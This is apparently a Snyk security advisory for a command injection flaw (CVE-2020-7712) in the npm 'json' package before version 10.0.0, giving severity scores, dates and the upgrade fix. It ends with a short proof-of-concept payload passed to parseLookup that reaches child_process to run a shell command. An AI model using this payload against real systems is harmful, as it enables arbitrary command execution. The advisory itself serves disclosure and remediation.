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Command Injection Affecting json package, versions <10.0.0

0.0
high

Snyk CVSS

    Attack Complexity Low
    Privileges Required High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 1.6% (88th percentile)
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NVD
7.2 high

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  • Snyk ID SNYK-JS-JSON-597481
  • published 30 Aug 2020
  • disclosed 6 Aug 2020
  • credit po6ix
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Introduced: 6 Aug 2020

CVE-2020-7712 Open this link in a new tab
CWE-78 Open this link in a new tab
First added by Snyk

How to fix?

Upgrade json to version 10.0.0 or higher.

Overview

json is a 'json' command tool for massaging and processing JSON on the command line.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbritary commands using the parseLookup function.

PoC

const json = require('json');


res = json.parseLookup('{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()]}');
console.log(res);

References